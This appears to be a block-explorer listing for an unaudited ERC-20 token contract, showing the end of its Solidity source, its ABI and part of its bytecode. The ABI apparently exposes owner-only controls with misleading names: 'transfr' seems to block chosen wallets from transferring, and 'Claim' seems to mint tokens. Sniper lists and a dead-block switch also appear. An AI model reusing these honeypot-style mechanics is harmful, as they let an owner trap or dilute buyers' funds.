}else if(amountBuying == 0){
price = p1;
}else{
price = ((p1 * buyerBalance) + (currentPrice * amountBuying)).div(buyerBalance + amountBuying);
}
}
function swapAndSendToMarketingWallet(uint256 tokens) private {
swapTokensForEth(tokens);
payable(marketingFeeWallet).transfer(address(this).balance);
}
function swapAndLiquify(uint256 tokens) private {
// split the contract balance into halves
uint256 half = tokens.div(2);
uint256 otherHalf = tokens.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(liquidityReceiver),
block.timestamp
);
}
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
struct Account{uint256 lastBuy;uint256 lastSell;uint256 priceBought;uint256 amountSold;bool sellLimitLiftedUp;}
event SwapAndLiquify(uint256 tokensSwapped,uint256 ethReceived,uint256 tokensIntoLiqudity);
event UpdateFees(uint256 newliquidityfees, uint256 newMarketingFees, uint256 newTotalFees);
event swapTokenForLiquify(uint256 amount);
event swapTokenForMarketing(uint256 amount, address sendToWallet);
event DEXBuy(uint256 tokensAmount, address buyers);
event DEXSell(uint256 tokensAmount, address sellers);
event TokensTransfer(address sender, address recipient, uint256 amount);
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"uint256","name":"liqFee","type":"uint256"},{"internalType":"uint256","name":"marketFee","type":"uint256"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"uint256","name":"maxBuyPercent","type":"uint256"},{"internalType":"uint256","name":"maxSellPercent","type":"uint256"},{"internalType":"uint256","name":"maxWalletPercent","type":"uint256"},{"internalType":"address","name":"marketingWallet","type":"address"},{"internalType":"address","name":"liqudityWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensAmount","type":"uint256"},{"indexed":false,"internalType":"address","name":"buyers","type":"address"}],"name":"DEXBuy","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensAmount","type":"uint256"},{"indexed":false,"internalType":"address","name":"sellers","type":"address"}],"name":"DEXSell","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address[]","name":"accounts","type":"address[]"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeMultipleAccountsFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newValue","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"oldValue","type":"uint256"}],"name":"GasForProcessingUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newLiquidityWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldLiquidityWallet","type":"address"}],"name":"LiquidityWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newliquidityfees","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newMarketingFees","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newTotalFees","type":"uint256"}],"name":"UpdateFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapTokenForLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"address","name":"sendToWallet","type":"address"}],"name":"swapTokenForMarketing","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"IndividualSellLimitOn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Start","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_account","outputs":[{"internalType":"uint256","name":"lastBuy","type":"uint256"},{"internalType":"uint256","name":"lastSell","type":"uint256"},{"internalType":"uint256","name":"priceBought","type":"uint256"},{"internalType":"uint256","name":"amountSold","type":"uint256"},{"internalType":"bool","name":"sellLimitLiftedUp","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isSniper","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isTransferd","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyingPriceOn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadBlock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeDivFactor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCurrentPrice","outputs":[{"internalType":"uint256","name":"currentPrice","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isLaunced","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"isSniper","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"profitBaseFeeOn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"deadBlockOn","type":"bool"}],"name":"setDeadBlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxBuy","type":"uint256"},{"internalType":"uint256","name":"maxSell","type":"uint256"},{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"setMaxToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"Transferd","type":"bool"}],"name":"transfr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526008805460ff60c81b1960ff60c01b1960ff60b81b19909216600160b81b1791909116600160c01b1716905560c8600981905562000042306200031b565b816200004a57fe5b04600a556200006c600c54600b546200033660201b620013d01790919060201c565b600d55601c600e553480156200008157600080fd5b5060405162003313380380620033138339818101604052610100811015620000a857600080fd5b5080516020808301516040808501516060860151608087015160a088015160c089015160e09099015185518087018752600981526842756c6c446f67676560b81b818a0190815287518089019098526004885263424c444760e01b998801999099528051999a97999598949793969295939491939092916200012e9160039190620006dd565b50805162000144906004906020840190620006dd565b5050506000620001596200039a60201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001db85620001c76064896200039e60201b620014311790919060201c565b620003e860201b620014731790919060201c565b633b9aca00026010556200020284620001c78860646200039e602090811b6200143117901c565b633b9aca00026011556200022983620001c78860646200039e602090811b6200143117901c565b633b9aca00026012556200024b8660646200039e602090811b6200143117901c565b633b9aca0002600f55600b889055600c87905562000276888862000336602090811b620013d017901c565b600d55601b80546001600160a01b038084166001600160a01b031992831617909255601c805492851692909116919091179055620002bf620002b762000446565b600162000455565b620002cc30600162000455565b601b54620002e5906001600160a01b0316600162000455565b620002f282600162000455565b6200030d6200030062000446565b633b9aca00880262000522565b505050505050505062000789565b6001600160a01b031660009081526020819052604090205490565b60008282018381101562000391576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b3390565b60006200039183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200063160201b60201c565b600082620003f95750600062000394565b828202828482816200040757fe5b0414620003915760405162461bcd60e51b8152600401808060200182810382526021815260200180620032f26021913960400191505060405180910390fd5b6005546001600160a01b031690565b6200045f6200039a565b6005546001600160a01b03908116911614620004c2576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038216600081815260176020908152604091829020805460ff1916851515908117909155825190815291517f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df79281900390910190a25050565b6001600160a01b0382166200057e576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6200058c60008383620006d8565b620005a8816002546200033660201b620013d01790919060201c565b6002556001600160a01b03821660009081526020818152604090912054620005db918390620013d062000336821b17901c565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b60008183620006c15760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015620006855781810151838201526020016200066b565b50505050905090810190601f168015620006b35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581620006ce57fe5b0495945050505050565b505050565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928262000715576000855562000760565b82601f106200073057805160ff191683800117855562000760565b8280016001018555821562000760579182015b828111156200076057825182559160200191906001019062000743565b506200076e92915062000772565b5090565b5b808211156200076e576000815560010162000773565b612b5980620007996000396000f3fe6080604052600436106102815760003560e01c80637290b6211161014f578063be4762e5116100c1578063dd62ed3e1161007a578063dd62ed3e146108f3578063ddbbf6831461092e578063e2f4560514610958578063e6c75f711461096d578063eb91d37e14610982578063f8b3c23e1461099757610288565b8063be4762e5146107e6578063bf56b37114610819578063c02466681461082e578063ca02d79114610869578063cb0e55a81461087e578063da473fcd146108de57610288565b806398118cb41161011357806398118cb4146106dc5780639a7a23d6146106f15780639ec5691d1461072c578063a457c2d714610741578063a9059cbb1461077a578063b62496f5146107b357610288565b80637290b6211461063b5780637316c2e914610671578063877f4de51461069d5780638da5cb5b146106b257806395d89b41146106c757610288565b80631fca803d116101f357806347cee97c116101ac57806347cee97c1461057b57806349bd5a5e146105b45780635aa821a9146105c95780636b67c4df146105de57806370a08231146105f3578063715018a61461062657610288565b80631fca803d1461047757806323b872dd146104aa578063264d26dd146104ed578063313ce5671461050257806331a0a88c1461052d578063395093511461054257610288565b806313114a9d1161024557806313114a9d146103b75780631694505e146103cc57806318160ddd146103fd5780631b55ba3a146104125780631c15aa11146104275780631c62597d1461043c57610288565b806301339c211461028d57806301f59d16146102a457806302259e9e146102cb57806306fdde03146102e0578063095ea7b31461036a57610288565b3661028857005b600080fd5b34801561029957600080fd5b506102a26109ac565b005b3480156102b057600080fd5b506102b9610a27565b60408051918252519081900360200190f35b3480156102d757600080fd5b506102b9610a2d565b3480156102ec57600080fd5b506102f5610a33565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561032f578181015183820152602001610317565b50505050905090810190601f16801561035c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037657600080fd5b506103a36004803603604081101561038d57600080fd5b506001600160a01b038135169060200135610ac9565b604080519115158252519081900360200190f35b3480156103c357600080fd5b506102b9610ae7565b3480156103d857600080fd5b506103e1610aed565b604080516001600160a01b039092168252519081900360200190f35b34801561040957600080fd5b506102b9610afc565b34801561041e57600080fd5b506102a2610b02565b34801561043357600080fd5b506103a3610bae565b34801561044857600080fd5b506102a26004803603604081101561045f57600080fd5b506001600160a01b0381351690602001351515610bbe565b34801561048357600080fd5b506103a36004803603602081101561049a57600080fd5b50356001600160a01b0316610c41565b3480156104b657600080fd5b506103a3600480360360608110156104cd57600080fd5b506001600160a01b03813581169160208101359091169060400135610c56565b3480156104f957600080fd5b506103e1610cdd565b34801561050e57600080fd5b50610517610cec565b6040805160ff9092168252519081900360200190f35b34801561053957600080fd5b506103a3610cf1565b34801561054e57600080fd5b506103a36004803603604081101561056557600080fd5b506001600160a01b038135169060200135610d01565b34801561058757600080fd5b506102a26004803603604081101561059e57600080fd5b506001600160a01b038135169060200135610d4f565b3480156105c057600080fd5b506103e1610dbb565b3480156105d557600080fd5b506102b9610dca565b3480156105ea57600080fd5b506102b9610dd0565b3480156105ff57600080fd5b506102b96004803603602081101561061657600080fd5b50356001600160a01b0316610dd6565b34801561063257600080fd5b506102a2610df1565b34801561064757600080fd5b506102a26004803603606081101561065e57600080fd5b5080359060208101359060400135610ea8565b34801561067d57600080fd5b506102a26004803603602081101561069457600080fd5b50351515610f17565b3480156106a957600080fd5b506103a3610f8d565b3480156106be57600080fd5b506103e1610f9d565b3480156106d357600080fd5b506102f5610fac565b3480156106e857600080fd5b506102b961100d565b3480156106fd57600080fd5b506102a26004803603604081101561071457600080fd5b506001600160a01b0381351690602001351515611013565b34801561073857600080fd5b506103a36110c2565b34801561074d57600080fd5b506103a36004803603604081101561076457600080fd5b506001600160a01b0381351690602001356110d2565b34801561078657600080fd5b506103a36004803603604081101561079d57600080fd5b506001600160a01b03813516906020013561113a565b3480156107bf57600080fd5b506103a3600480360360208110156107d657600080fd5b50356001600160a01b031661114e565b3480156107f257600080fd5b506103a36004803603602081101561080957600080fd5b50356001600160a01b0316611163565b34801561082557600080fd5b506102b9611178565b34801561083a57600080fd5b506102a26004803603604081101561085157600080fd5b506001600160a01b038135169060200135151561117e565b34801561087557600080fd5b506103e1611236565b34801561088a57600080fd5b506108b1600480360360208110156108a157600080fd5b50356001600160a01b0316611245565b60408051958652602086019490945284840192909252606084015215156080830152519081900360a00190f35b3480156108ea57600080fd5b506102b9611277565b3480156108ff57600080fd5b506102b96004803603604081101561091657600080fd5b506001600160a01b038135811691602001351661127d565b34801561093a57600080fd5b506103e16004803603602081101561095157600080fd5b50356112a8565b34801561096457600080fd5b506102b96112d2565b34801561097957600080fd5b506102b96112d8565b34801561098e57600080fd5b506102b96112de565b3480156109a357600080fd5b506103a36113c0565b6109b46114cc565b6005546001600160a01b03908116911614610a04576040805162461bcd60e51b815260206004820181905260248201526000805160206129ae833981519152604482015290519081900360640190fd5b6008805460ff60b01b1916600160b01b179055610a2242600a6113d0565b601355565b600e5481565b60115481565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610abf5780601f10610a9457610100808354040283529160200191610abf565b820191906000526020600020905b815481529060010190602001808311610aa257829003601f168201915b5050505050905090565b6000610add610ad66114cc565b84846114d0565b5060015b92915050565b600d5481565b6008546001600160a01b031681565b60025490565b6006546001600160a01b03163314610b4b5760405162461bcd60e51b8152600401808060200182810382526023815260200180612adc6023913960400191505060405180910390fd5b6006546005546040516001600160a01b0392831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600654600580546001600160a01b0319166001600160a01b03909216919091179055565b600854600160b81b900460ff1681565b610bc66114cc565b6005546001600160a01b03908116911614610c16576040805162461bcd60e51b815260206004820181905260248201526000805160206129ae833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b60166020526000908152604090205460ff1681565b6000610c638484846115bc565b610cd384610c6f6114cc565b610cce85604051806060016040528060288152602001612986602891396001600160a01b038a16600090815260016020526040812090610cad6114cc565b6001600160a01b031681526020810191909152604001600020549190611fd1565b6114d0565b5060019392505050565b601b546001600160a01b031681565b600990565b600854600160c81b900460ff1681565b6000610add610d0e6114cc565b84610cce8560016000610d1f6114cc565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906113d0565b610d576114cc565b6005546001600160a01b03908116911614610da7576040805162461bcd60e51b815260206004820181905260248201526000805160206129ae833981519152604482015290519081900360640190fd5b610db78282633b9aca0002612068565b5050565b601a546001600160a01b031681565b60105481565b600c5481565b6001600160a01b031660009081526020819052604090205490565b610df96114cc565b6005546001600160a01b03908116911614610e49576040805162461bcd60e51b815260206004820181905260248201526000805160206129ae833981519152604482015290519081900360640190fd5b600554600680546001600160a01b0319166001600160a01b039092169182179055604051600091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b610eb06114cc565b6005546001600160a01b03908116911614610f00576040805162461bcd60e51b815260206004820181905260248201526000805160206129ae833981519152604482015290519081900360640190fd5b633b9aca0092830260105590820260115502601255565b610f1f6114cc565b6005546001600160a01b03908116911614610f6f576040805162461bcd60e51b815260206004820181905260248201526000805160206129ae833981519152604482015290519081900360640190fd5b60088054911515600160a81b0260ff60a81b19909216919091179055565b600854600160a81b900460ff1681565b6005546001600160a01b031690565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610abf5780601f10610a9457610100808354040283529160200191610abf565b600b5481565b61101b6114cc565b6005546001600160a01b0390811691161461106b576040805162461bcd60e51b815260206004820181905260248201526000805160206129ae833981519152604482015290519081900360640190fd5b601a546001600160a01b03838116911614156110b85760405162461bcd60e51b815260040180806020018281038252604c8152602001806129ce604c913960600191505060405180910390fd5b610db78282612072565b600854600160c01b900460ff1681565b6000610add6110df6114cc565b84610cce85604051806060016040528060258152602001612aff60259139600160006111096114cc565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611fd1565b6000610add6111476114cc565b84846115bc565b60186020526000908152604090205460ff1681565b60156020526000908152604090205460ff1681565b60135481565b6111866114cc565b6005546001600160a01b039081169116146111d6576040805162461bcd60e51b815260206004820181905260248201526000805160206129ae833981519152604482015290519081900360640190fd5b6001600160a01b038216600081815260176020908152604091829020805460ff1916851515908117909155825190815291517f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df79281900390910190a25050565b601c546001600160a01b031681565b601460205260009081526040902080546001820154600283015460038401546004909401549293919290919060ff1685565b60095481565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b601981815481106112b857600080fd5b6000918252602090912001546001600160a01b0316905081565b600a5481565b60125481565b601a5460408051630240bc6b60e21b815290516000926001600160a01b031691839182918491630902f1ac91600480820192606092909190829003018186803b15801561132a57600080fd5b505afa15801561133e573d6000803e3d6000fd5b505050506040513d606081101561135457600080fd5b5080516020909101516dffffffffffffffffffffffffffff91821693501690508181111561137e57905b8061138c57600093506113ba565b8181655af3107a40000211156113b5576113ae655af3107a4000820283611431565b93506113ba565b600093505b50505090565b600854600160b01b900460ff1681565b60008282018381101561142a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600061142a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612124565b60008261148257506000610ae1565b8282028284828161148f57fe5b041461142a5760405162461bcd60e51b81526004018080602001828103825260218152602001806129656021913960400191505060405180910390fd5b3390565b6001600160a01b0383166115155760405162461bcd60e51b8152600401808060200182810382526024815260200180612a796024913960400191505060405180910390fd5b6001600160a01b03821661155a5760405162461bcd60e51b81526004018080602001828103825260228152602001806128a26022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166116015760405162461bcd60e51b8152600401808060200182810382526025815260200180612a1a6025913960400191505060405180910390fd5b6001600160a01b0382166116465760405162461bcd60e51b815260040180806020018281038252602381526020018061287f6023913960400191505060405180910390fd5b6001600160a01b03821660009081526015602052604090205460ff1615801561168857506001600160a01b03831660009081526015602052604090205460ff16155b6116c35760405162461bcd60e51b815260040180806020018281038252602f8152602001806128ea602f913960400191505060405180910390fd5b806116d9576116d483836000612189565b611fcc565b60006116e430610dd6565b90506000600a54821015905060008180156117095750600854600160a01b900460ff16155b801561172e57506001600160a01b03861660009081526018602052604090205460ff16155b8015611753575061173d610f9d565b6001600160a01b0316866001600160a01b031614155b80156117785750611762610f9d565b6001600160a01b0316856001600160a01b031614155b1561186d576008805460ff60a01b1916600160a01b179055600d54600c546000916117ae916117a8908790611473565b90611431565b90506117b9816122e4565b601c54604080518381526001600160a01b03909216602083015280517feafa9125fd4b0edd379b9ab67721e8f4eb26bc018c352092ccac54a89ac6fed79281900390910190a1600061181c600d546117a8600b548861147390919063ffffffff16565b905061182781612326565b6040805182815290517f61d10b3f17a77466a4241488e37c886fa1637f9863ae76dd5076a80a932bc4eb9181900360200190a150506008805460ff60a01b191690555060015b6008546001600160a01b03871660009081526017602052604090205460ff600160a01b9092048216159116806118bb57506001600160a01b03861660009081526017602052604090205460ff165b156118c4575060005b8015611fbc576001600160a01b03871660009081526018602052604090205460ff1615611b5d57600854600160b01b900460ff16611949576040805162461bcd60e51b815260206004820152601860248201527f546f6b656e2069736e2774206c61756e63686564207965740000000000000000604482015290519081900360640190fd5b60105485111561198a5760405162461bcd60e51b81526004018080602001828103825260288152602001806129196028913960400191505060405180910390fd5b6012548561199788610dd6565b0111156119d55760405162461bcd60e51b81526004018080602001828103825260248152602001806129416024913960400191505060405180910390fd5b60135442118015908190611a0257506001600160a01b03871660009081526016602052604090205460ff16155b15611a5357601980546001810182556000919091527f944998273e477b495144fb8794c914197f3ccb46be2900f4698fd0ef743c96950180546001600160a01b0319166001600160a01b0389161790555b600854600160a81b900460ff168015611a8557506001600160a01b03871660009081526016602052604090205460ff16155b15611ad657601980546001810182556000919091527f944998273e477b495144fb8794c914197f3ccb46be2900f4698fd0ef743c96950180546001600160a01b0319166001600160a01b0389161790555b600854600160c01b900460ff16151560011415611b1457611af787876123ac565b6001600160a01b0388166000908152601460205260409020600201555b604080518781526001600160a01b038916602082015281517f1df6c66a1a6eb6b0b6a23930c6ec94664e676e5d72f819a20a11e6c54540fa42929181900390910190a150611e7c565b6001600160a01b03861660009081526018602052604090205460ff1615611d7e576001600160a01b03871660009081526016602052604090205460ff1615611bdd576040805162461bcd60e51b815260206004820152600e60248201526d2cb7ba9030b9329039b734b832b960911b604482015290519081900360640190fd5b601154851115611c1e5760405162461bcd60e51b815260040180806020018281038252603a815260200180612a3f603a913960400191505060405180910390fd5b600854600160c81b900460ff1615156001148015611c5857506001600160a01b03871660009081526014602052604090206004015460ff16155b15611d02576000611c6888610dd6565b90506002811115611d0057611c7e816002611431565b861115611c8a57600080fd5b6001600160a01b03881660009081526014602052604090206003908101805488019055611cb8908290611431565b6001600160a01b03891660009081526014602052604090206003015410611d00576001600160a01b0388166000908152601460205260409020600401805460ff191660011790555b505b611d1585611d0f89610d